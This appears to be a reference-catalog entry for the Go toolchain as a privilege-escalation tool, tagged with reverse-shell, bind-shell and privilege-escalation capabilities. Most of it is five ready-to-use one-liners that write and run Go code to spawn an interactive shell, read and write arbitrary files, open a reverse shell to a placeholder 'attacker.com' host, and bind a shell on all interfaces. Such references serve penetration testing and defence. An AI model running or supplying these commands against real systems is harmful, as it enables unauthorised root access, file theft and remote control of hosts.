Go programming language compiler and toolchain that can execute arbitrary Go code.
go {run} 📎 run go {run}Sandbox: execFile · Timeout: 60s
security.execution.command security.privilege-escalation.shell security.execution.reverse-shell security.execution.bind-shell system.file.read system.file.write build.compile.go | Name | Type | Required | Default | Description | Aliases |
|---|---|---|---|---|---|
run | file | No | - | Compile and run Go program | run |
| Type | Description | MIME | Schema | Trust |
|---|---|---|---|---|
build.compiled.binary | Go compiled binary | application/x-executable | - | community |
Inputs
system.file.path Path to Go source file
Outputs
process.output Output from Go program execution
process_spawn Produces
process.outputConsumes
system.file.path| Resource | Value |
|---|---|
| CPU | high |
| Memory | 64 MB |
| Network | low |
| Disk I/O | medium |
Spawn an interactive shell via Go code execution
echo -e 'package main\nimport "syscall"\nfunc main(){\n\tsyscall.Exec("/bin/sh", []string{"/bin/sh", "-i"}, []string{})\n}' >/path/to/temp-file.go
go run /path/to/temp-file.goRead arbitrary file via Go code
echo -e 'package main\nimport (\n\t"fmt"\n\t"os"\n)\n\nfunc main(){\n\tb, _ := os.ReadFile("/path/to/input-file")\n\tfmt.Print(string(b))\n}' >/path/to/temp-file.go
go run /path/to/temp-file.goWrite arbitrary data to file via Go code
echo -e 'package main\nimport "os"\nfunc main(){\n\tf, _ := os.OpenFile("/path/to/output-file", os.O_RDWR|os.O_CREATE, 0644)\n\tf.Write([]byte("DATA\\n"))\n\tf.Close()\n}' >/path/to/temp-file.go
go run /path/to/temp-file.goSpawn reverse shell via Go code
echo -e 'package main\nimport (\n\t"os"\n\t"net"\n\t"syscall"\n)\n\nfunc main(){\n\tfd, _ := syscall.Socket(syscall.AF_INET, syscall.SOCK_STREAM, 0)\n\tip := net.ParseIP("attacker.com").To4()\n\taddr := &syscall.SockaddrInet4{Port: 12345}\n\tcopy(addr.Addr[:], ip)\n\tsyscall.Connect(fd, addr)\n\tsyscall.Dup2(fd, 0)\n\tsyscall.Dup2(fd, 1)\n\tsyscall.Dup2(fd, 2)\n\tsyscall.Exec("/bin/sh", []string{"/bin/sh", "-i"}, os.Environ())\n}' >/path/to/temp-file.go
go run /path/to/temp-file.goSpawn bind shell via Go code
echo -e 'package main\nimport (\n\t"os"\n\t"syscall"\n)\n\nfunc main(){\n\tfd, _ := syscall.Socket(syscall.AF_INET, syscall.SOCK_STREAM, 0)\n\taddr := &syscall.SockaddrInet4{Port: 12345}\n\tcopy(addr.Addr[:], []byte{0,0,0,0})\n\tsyscall.Bind(fd, addr)\n\tsyscall.Listen(fd, 1)\n\tnfd, _, _ := syscall.Accept(fd)\n\tsyscall.Dup2(nfd, 0)\n\tsyscall.Dup2(nfd, 1)\n\tsyscall.Dup2(nfd, 2)\n\tsyscall.Exec("/bin/sh", []string{"/bin/sh", "-i"}, os.Environ())\n}' >/path/to/temp-file.go
go run /path/to/temp-file.goThe Go toolchain compiles and runs Go programs. With sudo or SUID, it can execute arbitrary Go code for shell access, file read/write, reverse shells, and bind shells — all via generated temp Go source files.